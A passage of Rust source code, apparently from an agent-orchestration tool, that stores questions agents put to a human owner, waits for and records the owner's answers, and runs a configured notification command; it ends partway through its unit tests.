1628 && q.status.open()
1629 && q.node != crate::bump::NOTICE_NODE
1630 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1631 {
1632 crate::notices::quiet_for(home, q);
1633 }
1634 Ok(())
1635 }
1636
1637 pub(crate) fn read_history(&self, id: &str) -> Result<Question> {
1640 anyhow::ensure!(
1641 !id.is_empty() && !id.contains(['/', '\\']) && id != "." && id != "..",
1642 "invalid saved inquiry identity"
1643 );
1644 let q = read_path(&self.path_of(id))?;
1645 anyhow::ensure!(
1646 q.id == id,
1647 "saved inquiry identity does not match its filename"
1648 );
1649 Ok(q)
1650 }
1651
1652 pub(crate) fn try_inspect_history<T>(
1655 &self,
1656 id: &str,
1657 inspect: impl FnOnce() -> Result<T>,
1658 ) -> Result<T> {
1659 let q = self.read_history(id)?;
1660 let lock = self.root.join(format!("{}.lock", q.id));
1661 let retry = crate::lock_file::Retry::new(None);
1662 match retry.create(&lock) {
1663 Ok(_) => {}
1664 Err(error)
1665 if error.kind() == std::io::ErrorKind::AlreadyExists
1666 && question_lock_stale(&lock) =>
1667 {
1668 let _ = std::fs::remove_file(&lock);
1669 retry.create(&lock)?;
1670 }
1671 Err(error) => return Err(error.into()),
1672 }
1673 let _guard = QuestionUnlock(lock);
1674 inspect()
1675 }
1676
1677 pub fn get(&self, id: &str) -> Result<Question> {
1679 let resolved = self.resolve_id(id)?;
1680 let q = read_path(&self.path_of(&resolved))?;
1681 Ok(self.with_repair_choice(q))
1682 }
1683
1684 pub fn get_for_effects(&self, id: &str) -> Result<Question> {
1687 self.get_for_effects_in(id, &crate::task_chat::InquiryOwnership::default())
1688 }
1689
1690 pub(crate) fn get_for_effects_in(
1691 &self,
1692 id: &str,
1693 ownership: &crate::task_chat::InquiryOwnership,
1694 ) -> Result<Question> {
1695 let resolved = self.resolve_id(id)?;
1696 let q = self.with_repair_choice_in(read_path(&self.path_of(&resolved))?, ownership);
1697 let migrated = self
1698 .root
1699 .parent()
1700 .is_some_and(|home| crate::task_chat::migrated_source_in(home, &q.id, ownership));
1701 Ok(self.consumption_view_in(q, migrated, ownership))
1702 }
1703
1704 pub(crate) fn held_reply(&self, id: &str) -> bool {
1707 self.held_reply_in(id, &crate::task_chat::InquiryOwnership::default())
1708 }
1709
1710 pub(crate) fn held_reply_in(
1711 &self,
1712 id: &str,
1713 ownership: &crate::task_chat::InquiryOwnership,
1714 ) -> bool {
1715 self.read_history(id).is_ok_and(|q| {
1716 self.root.parent().is_some_and(|home| {
1717 (crate::task_chat::migrated_source_in(home, &q.id, ownership)
1718 && crate::task_chat::source_reply_needs_confirmation(home, &q))
1719 || crate::task_inquiry::Outbox::at(home)
1720 .get(id)
1721 .is_ok_and(|record| {
1722 record.decision.is_some_and(|d| {
1723 (d.legacy_settled || d.source_retired)
1724 && d.status == crate::task_decision::Status::Resolved
1725 })
1726 })
1727 })
1728 })
1729 }
1730
1731 fn consumption_view_in(
1735 &self,
1736 mut q: Question,
1737 migrated: bool,
1738 ownership: &crate::task_chat::InquiryOwnership,
1739 ) -> Question {
1740 if self.root.parent().is_some_and(|home| {
1741 crate::task_inquiry::Outbox::at(home)
1742 .get(&q.id)
1743 .is_ok_and(|record| {
1744 record.decision.is_some_and(|d| {
1745 (d.legacy_settled || d.source_retired)
1746 && d.status == crate::task_decision::Status::Resolved
1747 })
1748 })
1749 }) {
1750 q.answer = None;
1754 q.answered_at = None;
1755 q.answer_authority = None;
1756 q.status = QuestionStatus::Open;
1757 return q;
1758 }
1759 if let Some(home) = self.root.parent()
1760 && migrated
1761 && !crate::task_chat::standalone_inquiry_in(home, &q, ownership)
1762 && crate::task_chat::source_reply_needs_confirmation(home, &q)
1763 {
1764 let saved = q.resolution().unwrap_or_default();
1765 q.detail.push_str(&format!(
1766 "\n\nSaved reply (history only; no new owner request): {saved}"
1767 ));
1768 q.answer = None;
1769 q.answered_at = None;
1770 q.answer_authority = None;
1771 q.status = QuestionStatus::Open;
1774 }
1775 q
1776 }
1777
1778 fn with_repair_choice(&self, q: Question) -> Question {
1779 self.with_repair_choice_in(q, &crate::task_chat::InquiryOwnership::default())
1780 }
1781
1782 fn with_repair_choice_in(
1783 &self,
1784 mut q: Question,
1785 ownership: &crate::task_chat::InquiryOwnership,
1786 ) -> Question {
1787 if q.status.open()
1790 && q.merge_target.is_none()
1791 && let Some(home) = self.root.parent()
1792 && let Some(target) = crate::release_watch::approval_target(home, &q)
1793 && let Ok((current, ())) = self.update_in(&q.id, ownership, |current| {
1794 if current.status.open() && current.merge_target.is_none() {
1795 current.merge_target = Some(target.clone());
1796 }
1797 Ok(())
1798 })
1799 {
1800 q = current;
1801 }
1802 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1803 && q.node == crate::land::APPROVAL_NODE
1804 && !self.held_reply_in(&q.id, ownership)
1805 && let Some(home) = self.root.parent()
1806 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1807 {
1808 let mut upgraded = q.clone();
1809 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1810 match self.update_in(&q.id, ownership, |current| {
1811 crate::land::upgrade_repair_choice(current, &state);
1812 Ok(())
1813 }) {
1814 Ok((current, ())) => return current,
1815 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1816 }
1817 }
1818 }
1819 q
1820 }
1821
1822 pub fn list(&self) -> Vec<Question> {
1830 self.list_view(false)
1831 }
1832
1833 pub fn list_for_effects(&self) -> Vec<Question> {
1835 self.list_view(true)
1836 }
1837
1838 fn list_view(&self, effects: bool) -> Vec<Question> {
1839 self.list_view_in(effects, &crate::task_chat::InquiryOwnership::default())
1840 }
1841
1842 pub(crate) fn list_for_effects_in(
1843 &self,
1844 ownership: &crate::task_chat::InquiryOwnership,
1845 ) -> Vec<Question> {
1846 self.list_view_in(true, ownership)
1847 }
1848
1849 fn list_view_in(
1850 &self,
1851 effects: bool,
1852 ownership: &crate::task_chat::InquiryOwnership,
1853 ) -> Vec<Question> {
1854 #[cfg(test)]
1855 QUESTION_SCANS.with(|count| count.set(count.get() + 1));
1856 let sources = self.root.parent().map(crate::task_chat::migration_sources);
1858 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1859 .into_iter()
1860 .flatten()
1861 .flatten()
1862 .map(|e| e.path())
1863 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1864 .filter_map(|p| read_path(&p).ok())
1865 .map(|q| {
1866 let migrated = match &sources {
1867 Some(Ok(Some(ids))) => ids.contains(&q.id),
1868 Some(_) => true,
1869 None => false,
1870 };
1871 let q = self.with_repair_choice_in(q, ownership);
1872 if effects {
1873 self.consumption_view_in(q, migrated, ownership)
1874 } else {
1875 q
1876 }
1877 })
1878 .collect();
1879 all.sort_unstable_by(|a, b| {
1880 let rank = |q: &Question| u8::from(!q.status.open());
1881 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1882 });
1883 all
1884 }
1885
1886 pub(crate) fn snapshot(&self) -> Result<Vec<Question>> {
1890 let entries = match std::fs::read_dir(&self.root) {
1891 Ok(entries) => entries,
1892 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()),
1893 Err(error) => return Err(error).context("inspect pending questions"),
1894 };
1895 let mut questions = Vec::new();
1896 for entry in entries {
1897 let path = entry?.path();
1898 if path.extension().is_some_and(|ext| ext == "json") {
1899 questions.push(read_path(&path)?);
1900 }
1901 }
1902 Ok(questions)
1903 }
1904
1905 pub fn open_for(&self, run: &str) -> Vec<Question> {
1911 self.list_for_effects()
1912 .into_iter()
1913 .filter(|q| q.status.open() && q.run == run)
1914 .collect()
1915 }
1916
1917 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1930 let mut abandoned = 0;
1931 for mut q in self.open_for(run) {
1932 if self.held_reply(&q.id) {
1933 continue;
1934 }
1935 q.abandon(why);
1936 self.put(&mut q)?;
1937 abandoned += 1;
1938 }
1939 Ok(abandoned)
1940 }
1941
1942 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1966 if status.resumable() {
1967 return Ok(0);
1968 }
1969 let why = format!(
1970 "run {run} {}, so nothing is waiting for this answer",
1971 status.as_str()
1972 );
1973 let mut abandoned = 0;
1978 for mut q in self.open_for(run) {
1979 if self.held_reply(&q.id) || q.node == crate::bump::NOTICE_NODE {
1980 continue;
1981 }
1982 if q.routed_task.is_some() && q.routed_chat.is_none() {
1986 continue;
1987 }
1988 q.abandon(&why);
1989 self.put(&mut q)?;
1990 abandoned += 1;
1991 }
1992 Ok(abandoned)
1993 }
1994
1995 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1998 use crate::queue::{Reference, record_ids, resolve_reference};
1999 let ids = record_ids(&self.root, "json")?;
2000 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
2001 Reference::Found(id) => Ok(id),
2002 Reference::Missing => bail!("no question matches `{prefix}`"),
2003 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
2004 }
2005 }
2006
2007 pub fn revision(&self) -> u64 {
2011 std::fs::read_dir(&self.root)
2012 .into_iter()
2013 .flatten()
2014 .flatten()
2015 .filter_map(|e| e.metadata().ok())
2016 .filter_map(|m| m.modified().ok())
2017 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
2018 .map(|d| d.as_millis() as u64)
2019 .max()
2020 .unwrap_or(0)
2021 }
2022
2023 pub fn count_open(&self) -> usize {
2029 self.list().iter().filter(|q| q.status.open()).count()
2030 }
2031
2032 pub fn count_needs_owner(&self) -> usize {
2041 self.list()
2042 .iter()
2043 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
2044 .count()
2045 }
2046
2047 pub fn deputy_exhausted(&self, q: &Question) -> bool {
2051 q.status.open()
2052 && q.deputy
2053 .as_ref()
2054 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
2055 && !self
2056 .read_lease(&q.id)
2057 .is_some_and(|l| l.fresh(Timestamp::now()))
2058 }
2059}
2060
2061#[derive(Debug, Clone, PartialEq, Eq)]
2063pub enum Wait {
2064 Answered(String),
2066 Replied(String),
2071 Pending,
2078 Abandoned,
2083}
2084
2085pub async fn ask_and_wait(
2092 q: &mut Question,
2093 store: &Questions,
2094 notify: &config::Notify,
2095 timeout: Duration,
2096) -> Result<Wait> {
2097 wait_for_owner(q, store, notify, timeout, POLL).await
2098}
2099
2100pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
2115 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
2116}
2117
2118async fn wait_for_owner(
2124 q: &mut Question,
2125 store: &Questions,
2126 cfg: &config::Notify,
2127 timeout: Duration,
2128 poll: Duration,
2129) -> Result<Wait> {
2130 if !store.path_of(&q.id).is_file() {
2134 store.put(q).context("file the question")?;
2135 }
2136 if q.should_notify(Timestamp::now()) {
2137 if let Err(e) = notify(cfg, q).await {
2138 tracing::warn!(
2143 "could not notify about question {}: {e:#} - the web UI is the \
2144 only surface for it now",
2145 q.short()
2146 );
2147 }
2148 }
2149 tracing::info!(
2150 "question {} from {} is waiting for you: {}",
2151 q.short(),
2152 q.seat,
2153 q.summary
2154 );
2155 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
2156}
2157
2158fn hold(store: &Questions, id: &str) {
2160 store.beat(id, WaiterKind::Asker);
2161 let took = store.update(id, |q| {
2162 if q.status.open() {
2163 q.waiter = Some(Waiter {
2164 kind: WaiterKind::Asker,
2165 since: Timestamp::now(),
2166 });
2167 }
2168 Ok(())
2169 });
2170 if let Err(e) = took {
2171 tracing::debug!("could not note the wait on question {id}: {e:#}");
2172 }
2173}
2174
2175pub fn record_answer(
2186 store: &Questions,
2187 id: &str,
2188 reply: &str,
2189 title: Option<&str>,
2190) -> Result<String> {
2191 let home = store
2192 .root()
2193 .parent()
2194 .context("questions have no state home")?;
2195 let queue = crate::queue::Queue::at(home.join("queue"));
2196 let question = store.get(id)?;
2197 let _claims = crate::chat_control::decision_claims(&queue, &question)?;
2198 let (q, ()) = store.update(id, |r| {
2199 let answer = if r.free_text() {
2200 Answer::Text(reply.to_owned())
2201 } else {
2202 Answer::Choice(r.resolve_reply(reply)?.to_owned())
2203 };
2204 let replacement = r.node == crate::github_text::ASK_NODE
2205 && matches!(&answer, Answer::Choice(choice) if choice == crate::github_text::USE_MY_TEXT);
2206 if replacement {
2207 let title =
2208 title.context("use my text needs --title with the literal replacement title")?;
2209 if title.trim().is_empty() {
2210 bail!("replacement title must not be empty");
2211 }
2212 r.publication_title = Some(title.to_owned());
2213 } else if title.is_some() {
2214 bail!("--title is only valid for a publication decision's `use my text` choice");
2215 }
2216 r.answer(answer)
2217 })?;
2218 let mut out = format!("answered {} {}", q.short(), q.summary);
2219 let resolution = q.resolution();
2220 let approval = q.node == crate::land::APPROVAL_NODE;
2221 if approval && resolution.as_deref() == Some(crate::merge_decision::DISMISS) {
2222 out.push_str(
2223 "\nObsolete approval ended; its execution is retired, history retained and PR unchanged. No merge or replacement was authorized.",
2224 );
2225 }
2226 if approval
2227 && resolution.as_deref() != Some(crate::merge_decision::DISMISS)
2228 && resolution
2229 .as_deref()
2230 .is_some_and(crate::merge_decision::stops)
2231 {
2232 out.push_str(&format!(
2233 "\nDecision recorded; the existing owner must resume to apply it. This answer command has not closed a PR, dispatched replacement work or approved a merge. A running magi serve / magi web resumes the parked owner; otherwise use `magi run --resume {}`. Do not create another task.",
2234 q.run
2235 ));
2236 }
2237 if approval && resolution.as_deref() == Some(crate::land::REPAIR) {
2238 out.push_str(&format!(
2239 "\nRepair requested; this answer command has not started repair or approved a merge. \
2240 A running magi serve / magi web resumes the existing run. Without one, \
2241 run `magi run --resume {}` to start repair and re-review; do not create another task or run.",
2242 q.run
2243 ));
2244 }
2245 Ok(out)
2246}
2247
2248pub fn hand_over(store: &Questions, q: &mut Question) {
2256 let done = store.update(&q.id, |r| {
2257 r.delivered_turns = r.delivered_turns.max(q.thread.len());
2258 if r.status == QuestionStatus::Answered {
2259 r.answer_delivered = true;
2260 }
2261 r.waiter = None;
2262 Ok(())
2263 });
2264 match done {
2265 Ok((fresh, ())) => *q = fresh,
2266 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
2267 }
2268}
2269
2270pub fn answer_for_agent(q: &Question, answer: &str) -> String {
2274 let says = q.undelivered_owner_turns();
2275 if says.is_empty() {
2276 return answer.to_owned();
2277 }
2278 format!(
2279 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
2280 says.join("\n\n")
2281 )
2282}
2283
2284pub fn deliver_answer(
2287 store: &Questions,
2288 q: &mut Question,
2289 answer: &str,
2290 out: &mut impl std::io::Write,
2291) -> std::io::Result<()> {
2292 writeln!(out, "{}", answer_for_agent(q, answer))?;
2293 out.flush()?;
2294 hand_over(store, q);
2295 Ok(())
2296}
2297
2298async fn wait_loop(
2308 q: &mut Question,
2309 store: &Questions,
2310 timeout: Duration,
2311 slice: Duration,
2312 poll: Duration,
2313) -> Result<Wait> {
2314 if store.held_reply(&q.id) {
2315 return Ok(Wait::Pending);
2316 }
2317 if let Some(said) = q.unread_from_owner() {
2327 return Ok(Wait::Replied(said));
2328 }
2329 hold(store, &q.id);
2330
2331 let bounded = timeout.min(slice);
2332 let is_the_real_deadline = bounded >= timeout;
2333 let deadline = tokio::time::Instant::now() + bounded;
2334 loop {
2335 let now = tokio::time::Instant::now();
2336 if now >= deadline {
2337 if store.held_reply(&q.id) || !is_the_real_deadline {
2338 return Ok(Wait::Pending);
2342 }
2343 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2344 let (fresh, unread) = store
2348 .update(&q.id, |r| {
2349 let unread = r.unread_from_owner();
2350 if unread.is_none() {
2351 r.abandon(&why);
2352 r.waiter = None;
2353 }
2354 Ok(unread)
2355 })
2356 .context("record the abandoned question")?;
2357 *q = fresh;
2358 if let Some(said) = unread {
2359 return Ok(Wait::Replied(said));
2360 }
2361 tracing::warn!(
2362 "question {} went unanswered for {}s; the run parks and the \
2363 question stays as the record of it",
2364 q.short(),
2365 timeout.as_secs()
2366 );
2367 return Ok(Wait::Abandoned);
2368 }
2369 tokio::time::sleep(poll.min(deadline - now)).await;
2370 store.beat(&q.id, WaiterKind::Asker);
2371 match store.get_for_effects(&q.id) {
2372 Ok(fresh) if !fresh.status.open() => {
2373 *q = fresh;
2377 return Ok(match q.resolution() {
2378 Some(a) => Wait::Answered(a),
2379 None => Wait::Abandoned,
2382 });
2383 }
2384 Ok(fresh) => {
2385 if let Some(said) = fresh.unread_from_owner() {
2386 *q = fresh;
2387 return Ok(Wait::Replied(said));
2388 }
2389 }
2392 Err(e) => {
2393 tracing::debug!("could not re-read question {}: {e:#}", q.short());
2397 }
2398 }
2399 }
2400}
2401
2402pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2413 if q.routed_task.is_some() {
2414 return Ok(());
2415 }
2416 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2417 if q.status.open() {
2418 summary.push_str(&format!(
2419 " Respond in Questions or with `magi answer {}`.",
2420 q.id
2421 ));
2422 }
2423 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2424 notify_at(cmd, &q.run, &summary, &url).await
2425}
2426
2427pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2430 let url = view_url(
2431 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2432 "notifications",
2433 );
2434 notify_at(cmd, run, summary, &url).await
2435}
2436
2437async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2438 let Some((program, args)) = cmd.command.split_first() else {
2439 return Ok(());
2441 };
2442 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2443 tracing::warn!(
2444 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2445 so the link will be empty - export it next to `magi serve` with \
2446 the address `magi web --open` printed"
2447 );
2448 }
2449 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2450 tracing::debug!(program = %program, args = ?argv, "notifying");
2451
2452 let mut child = tokio::process::Command::new(program);
2453 child.quiet();
2454 child
2455 .args(&argv)
2456 .stdin(std::process::Stdio::null())
2457 .kill_on_drop(true);
2460 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2461 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2462 Err(_) => bail!(
2463 "notification command `{program}` did not finish within {}s",
2464 NOTIFY_TIMEOUT.as_secs()
2465 ),
2466 };
2467 if !out.status.success() {
2468 let stderr = String::from_utf8_lossy(&out.stderr);
2469 let why = stderr
2470 .lines()
2471 .rev()
2472 .find(|l| !l.trim().is_empty())
2473 .unwrap_or("no output on stderr")
2474 .trim();
2475 bail!(
2476 "notification command `{program}` exited with {}: {why}",
2477 out.status
2478 );
2479 }
2480 Ok(())
2481}
2482
2483fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2489 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2490 let mut out = String::with_capacity(template.len());
2491 let mut rest = template;
2492 while let Some(at) = rest.find('{') {
2493 out.push_str(&rest[..at]);
2494 let tail = &rest[at..];
2495 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2496 Some((token, value)) => {
2497 out.push_str(value);
2498 rest = &tail[token.len()..];
2499 }
2500 None => {
2501 out.push('{');
2503 rest = &tail[1..];
2504 }
2505 }
2506 }
2507 out.push_str(rest);
2508 out
2509}
2510
2511fn question_url(base: &str) -> String {
2518 view_url(base, "questions")
2519}
2520
2521fn view_url(base: &str, view: &str) -> String {
2522 let base = base.trim().trim_end_matches('/');
2523 if base.is_empty() || base.contains('#') {
2524 return base.to_owned();
2525 }
2526 format!("{base}/#/{view}")
2527}
2528
2529fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2534 let index = dir.join(PANEL_HTML);
2535 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2536 for (name, src) in assets {
2537 let dst = dir.join(name);
2538 std::fs::copy(src, &dst)
2539 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2540 }
2541 Ok(())
2542}
2543
2544fn clear_dir(path: &Path) -> Result<()> {
2549 match std::fs::remove_dir_all(path) {
2550 Ok(()) => Ok(()),
2551 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2552 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2553 }
2554}
2555
2556fn read_path(path: &Path) -> Result<Question> {
2557 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2558 let q: Question =
2559 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2560 if q.schema > SCHEMA {
2561 bail!(
2566 "question {} was written by a newer magi (schema {}, this build \
2567 only speaks up to {SCHEMA})",
2568 q.id,
2569 q.schema
2570 );
2571 }
2572 Ok(q)
2573}
2574
2575pub fn short_id(id: &str) -> &str {
2577 short(id)
2578}
2579
2580fn short(id: &str) -> &str {
2581 id.split('-').next_back().unwrap_or(id)
2582}
2583
2584fn new_id() -> String {
2585 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2586 new_id_at(&stamp.to_string(), crate::rng::entropy())
2587}
2588
2589fn new_id_at(stamp: &str, seed: u64) -> String {
2590 static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2595 let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2596 format!(
2597 "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2598 (seed ^ (seed >> 32)) & 0xffff
2599 )
2600}
2601
2602#[cfg(test)]
2603mod tests {
2604 use super::*;
2605
2606 fn store() -> (tempfile::TempDir, Questions) {
2609 let dir = tempfile::tempdir().unwrap();
2610 let s = Questions::at(dir.path().join("questions"));
2611 (dir, s)
2612 }
2613
2614 #[test]
2615 fn run_names_task_only_for_task_questions() {
2616 for (node, want) in [
2617 (crate::conduct::NODE, true),
2618 (crate::triage::NODE, true),
2619 (crate::triage::DEPS_NODE, true),
2620 (crate::land::APPROVAL_NODE, false),
2621 (crate::bump::NOTICE_NODE, false),
2622 ("implement", false),
2623 ] {
2624 let mut q = choice_question();
2625 q.node = node.to_owned();
2626 assert_eq!(q.run_names_task(), want, "{node}");
2627 }
2628 }
2629
2630 #[test]
2631 fn deleting_a_run_stops_its_questions_asking() {
2632 let (_dir, store) = store();
2633
2634 let mut open_one = choice_question();
2635 store.put(&mut open_one).unwrap();
2636 let mut answered = free_question();
2637 answered
2638 .answer(Answer::Text("keep this".to_owned()))
2639 .unwrap();
2640 store.put(&mut answered).unwrap();
2641 let mut elsewhere = choice_question();
2642 elsewhere.run = "20260903-105039-3cbf".to_owned();
2643 store.put(&mut elsewhere).unwrap();
2644
2645 let n = store
2646 .abandon_for_run(&open_one.run, "run was deleted")
2647 .unwrap();
2648 assert_eq!(n, 1, "only the open question of that run");
2649
2650 let back = store.get(&open_one.id).unwrap();
2651 assert!(!back.status.open(), "it no longer asks for a decision");
2652 assert!(
2653 back.detail.contains("run was deleted"),
2654 "the operator can see why: {}",
2655 back.detail
2656 );
2657
2658 let kept = store.get(&answered.id).unwrap();
2659 assert_eq!(
2660 kept.status,
2661 QuestionStatus::Answered,
2662 "an answered question is a decision on record, not something to revoke"
2663 );
2664 assert!(
2665 store.get(&elsewhere.id).unwrap().status.open(),
2666 "another run's question is untouched"
2667 );
2668 assert!(store.open_for(&open_one.run).is_empty());
2669 }
2670
2671 #[test]
2672 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2673 let (_dir, store) = store();
2674 let mut q = choice_question();
2675 store.put(&mut q).unwrap();
2676
2677 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2679 assert_eq!(n, 0);
2680 assert!(store.get(&q.id).unwrap().status.open());
2681
2682 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2685 assert_eq!(n, 1);
2686 let back = store.get(&q.id).unwrap();
2687 assert!(!back.status.open());
2688 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2689
2690 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2692 }
2693
2694 #[test]
2695 fn settle_run_keeps_an_undelivered_routed_decision() {
2696 let (_dir, store) = store();
2697 let mut q = choice_question();
2698 q.routed_task = Some("task".into());
2699 store.put(&mut q).unwrap();
2700 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2701 assert!(store.get(&q.id).unwrap().status.open());
2702
2703 store
2705 .update(&q.id, |r| {
2706 r.routed_chat = Some("chat".into());
2707 Ok(())
2708 })
2709 .unwrap();
2710 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2711 }
2712
2713 fn choice_question() -> Question {
2714 Question::new(
2715 "20260902-201256-9fb7".to_owned(),
2716 "implement".to_owned(),
2717 "impl-A".to_owned(),
2718 "Which storage backend should the cache use?".to_owned(),
2719 "Both are already dependencies.".to_owned(),
2720 vec!["SQLite".to_owned(), "Redis".to_owned()],
2721 )
2722 }
2723
2724 fn free_question() -> Question {
2725 Question::new(
2726 "20260902-201256-9fb7".to_owned(),
2727 "review".to_owned(),
2728 "rev-1".to_owned(),
2729 "What should the error message say?".to_owned(),
2730 String::new(),
2731 Vec::new(),
2732 )
2733 }
2734
2735 fn quiet() -> config::Notify {
2737 config::Notify::default()
2738 }
2739
2740 #[test]
2741 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2742 let mut q = choice_question();
2746 q.id = "20260902-231501-ab12".to_owned();
2747 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2748 let keys: Vec<&str> = open
2752 .as_object()
2753 .unwrap()
2754 .keys()
2755 .map(String::as_str)
2756 .collect();
2757 assert_eq!(
2758 keys,
2759 [
2760 "actions",
2761 "answer",
2762 "answer_delivered",
2763 "answer_timeout",
2764 "answered_at",
2765 "asked_at",
2766 "assets",
2767 "choices",
2768 "consult",
2769 "cwd",
2770 "decision_context",
2771 "delivered_turns",
2772 "deputy",
2773 "detail",
2774 "id",
2775 "merge_target",
2776 "node",
2777 "panel",
2778 "routed_chat",
2779 "routed_task",
2780 "run",
2781 "schema",
2782 "seat",
2783 "status",
2784 "summary",
2785 "thread",
2786 "triage_generation",
2787 "waiter",
2788 ],
2789 "the on-disk field set is a contract with the front end"
2790 );
2791 assert_eq!(open["schema"], 13);
2792 assert_eq!(open["merge_target"], serde_json::Value::Null);
2793 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2794 assert_eq!(open["thread"], serde_json::json!([]));
2795 assert_eq!(open["id"], "20260902-231501-ab12");
2796 assert_eq!(open["run"], "20260902-201256-9fb7");
2797 assert_eq!(open["node"], "implement");
2798 assert_eq!(open["seat"], "impl-A");
2799 assert_eq!(open["status"], "open");
2800 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2801 assert_eq!(open["answered_at"], serde_json::Value::Null);
2802 assert_eq!(open["answer"], serde_json::Value::Null);
2803 let asked = open["asked_at"].as_str().unwrap();
2804 assert!(
2805 asked.ends_with('Z') && asked.contains('T'),
2806 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2807 );
2808
2809 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2811 let answered = serde_json::to_value(&q).unwrap();
2812 assert_eq!(answered["status"], "answered");
2813 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2814 assert!(answered["answered_at"].is_string());
2815
2816 let mut free = free_question();
2818 free.answer(Answer::Text("Say which file it was".to_owned()))
2819 .unwrap();
2820 assert_eq!(
2821 serde_json::to_value(&free).unwrap()["answer"],
2822 serde_json::json!({"text": "Say which file it was"})
2823 );
2824
2825 let body = serde_json::to_string(&q).unwrap();
2827 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2828 }
2829
2830 #[test]
2831 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2832 let (_dir, store) = store();
2833 let mut q = approval_question();
2834 q.merge_target = Some(crate::merge_decision::Target {
2835 pr: "https://github.com/example/repo/pull/42".into(),
2836 head: "reviewed-head".into(),
2837 language: "ja".into(),
2838 });
2839 store.put(&mut q).unwrap();
2840 let saved = store.get(&q.id).unwrap();
2841 assert_eq!(saved, q);
2842 let mut body = serde_json::to_value(&saved).unwrap();
2843 assert_eq!(body["schema"], 13);
2844 assert_eq!(
2845 body["merge_target"],
2846 serde_json::json!({
2847 "pr": "https://github.com/example/repo/pull/42",
2848 "head": "reviewed-head",
2849 "language": "ja"
2850 })
2851 );
2852
2853 body["schema"] = serde_json::json!(10);
2856 body.as_object_mut().unwrap().remove("merge_target");
2857 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2858 let legacy = store.get(&q.id).unwrap();
2859 assert_eq!(legacy.schema, 10);
2860 assert!(legacy.merge_target.is_none());
2861 assert_eq!(legacy.choices, q.choices);
2862 assert_eq!(legacy.status, q.status);
2863 }
2864
2865 #[test]
2866 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2867 let mut unoffered = choice_question();
2870 let a = unoffered
2871 .answer(Answer::Choice("Postgres".to_owned()))
2872 .unwrap_err()
2873 .to_string();
2874
2875 let mut typed = choice_question();
2876 let b = typed
2877 .answer(Answer::Text("use Postgres".to_owned()))
2878 .unwrap_err()
2879 .to_string();
2880
2881 let mut blank = free_question();
2882 let c = blank
2883 .answer(Answer::Text(" \n".to_owned()))
2884 .unwrap_err()
2885 .to_string();
2886
2887 let mut twice = choice_question();
2888 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2889 let d = twice
